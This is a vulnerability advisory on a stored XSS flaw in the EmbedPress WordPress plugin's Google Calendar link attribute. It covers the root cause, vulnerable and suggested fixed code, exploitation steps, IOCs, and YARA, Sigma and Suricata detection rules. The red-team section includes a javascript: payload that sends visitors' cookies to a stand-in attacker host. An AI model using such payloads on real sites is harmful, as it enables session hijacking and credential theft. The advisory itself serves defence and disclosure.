CVE-2024-1425

Executive Summary

CVE-2024-1425 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.8). The flaw resides in the Google Calendar Widget Link attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. When a user accesses a page containing the maliciously crafted widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using EmbedPress <= 3.9.8 is exposed. No patched version has been released, making this a persistent threat for unmaintained installations. Users should monitor the plugin’s update channel or consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None (script executes automatically on page load)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated low-privilege users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the embedpress plugin’s handling of the Google Calendar Widget shortcode/block. The plugin fails to properly sanitize user-supplied attributes (specifically the link URL) and does not escape output when rendering the widget on the frontend. An attacker with contributor-level access can create a post or page containing the EmbedPress Google Calendar block and inject a malicious JavaScript payload into the link attribute. When the page is rendered, the payload is executed in the context of the victim’s browser.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for the Google Calendar link attribute. The input validation does not strip or encode XSS vectors like javascript: or event handlers.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post/page and adds the EmbedPress Google Calendar block.
3. Attacker sets the calendar link to a malicious value, e.g., javascript:alert(document.cookie).
4. The plugin stores the payload in the database without proper sanitization.
5. When any user (including admins) visits the page, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (EmbedPress <= 3.9.8):

// In embedpress/EmbedPress/Shortcode.php or similar
$calendar_link = $attributes['calendar_link'];
echo '<a href="' . $calendar_link . '">Google Calendar</a>';

The $calendar_link is directly output without escaping.

Patched Code (Hypothetical fix):

$calendar_link = esc_url( $attributes['calendar_link'] );
echo '<a href="' . $calendar_link . '">Google Calendar</a>';

Using esc_url() ensures only safe URL schemes (http, https) are allowed, breaking XSS attempts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with EmbedPress <= 3.9.8 installed and activated.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post.
3. Add the EmbedPress Google Calendar block.
4. In the block settings, set the calendar link to:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Publish the post.
6. Any visitor to the post will have their cookies exfiltrated to the attacker’s server.

Proof-of-Concept Payload:

<a href="javascript:alert('XSS')">Click here</a>

(Note: This is a simplified example; real payloads would be obfuscated.)

Blue Team

Detection:

• Monitor for posts/pages containing suspicious href attributes in Google Calendar links.
• Look for javascript: or data: URI schemes in post content.
• Use the detection rules below.

Mitigation:

• Immediately restrict contributor-level users from using EmbedPress blocks via user role editor plugins.
• Apply a virtual patch using a Web Application Firewall (WAF) to block javascript: URIs in post content.
• Remove or disable the EmbedPress plugin until a patch is available.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/embedpress/EmbedPress/Shortcode.php (or similar file containing the vulnerable code)
• Database: Posts/pages containing [embedpress] shortcode with calendar_link attribute containing javascript: or data: URIs.
• Network: Outbound connections to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
• Logs: WordPress audit logs showing creation of posts with EmbedPress blocks by low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2024_1425_EmbedPress_XSS {
    meta:
        description = "Detects malicious Google Calendar link payloads in EmbedPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1425"
    strings:
        $payload1 = /href=["']javascript:/i
        $payload2 = /href=["']data:/i
        $payload3 = /on\w+=["']/i
        $embedpress = /embedpress/i
    condition:
        $embedpress and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-1425 EmbedPress Stored XSS Detection
id: 8a3f7c2e-9b1d-4f5a-8c6e-7d2f1a3b4c5d
status: experimental
description: Detects stored XSS attempts via EmbedPress Google Calendar widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-content/plugins/embedpress'
        http.body|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1425 EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"wp-content/plugins/embedpress"; http_uri; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict contributor roles from using EmbedPress blocks via user role editor plugins (e.g., User Role Editor).
3. Apply a WAF rule to block requests containing javascript: or data: URIs in post content.

Long-term Fix:

• The vendor must release a patched version (>= 3.9.9) that properly sanitizes and escapes the Google Calendar link attribute using esc_url().
• Until then, consider replacing EmbedPress with an alternative plugin that is actively maintained.

Detection:

• Implement the YARA, Sigma, and Suricata rules above.
• Monitor WordPress audit logs for suspicious post creation by low-privilege users.

Valters IT – DevSecOps & Cyber Threat Intelligence